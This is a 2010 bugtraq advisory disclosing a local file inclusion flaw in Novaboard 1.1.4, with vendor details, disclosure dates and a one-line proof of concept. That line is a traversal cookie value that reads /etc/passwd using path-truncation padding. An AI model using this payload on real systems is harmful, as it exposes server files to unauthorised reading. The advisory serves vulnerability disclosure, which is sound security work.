bugtraq - LFI in Novaboard

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Message-Id: <201010271046.o9RAkrVH020318@htbridge.ch>
Date: Wed, 27 Oct 2010 12:46:53 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: LFI in Novaboard 

Vulnerability ID: HTB22657
Reference: http://www.htbridge.ch/advisory/lfi_in_novaboard.html
Product: Novaboard 
Vendor: Novaboard  ( http://www.novaboard.net/ ) 
Vulnerable Version: 1.1.4 and probably prior versions 
Vendor Notification: 13 October 2010 
Vulnerability Type: Local File Inclusion
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nova_lang variable from cookie.

The following PoC is available:


Cookie: nova_lang=../../../../../../../../../../../../../../etc/passwd/././././.[>4095 * "/."]/././././.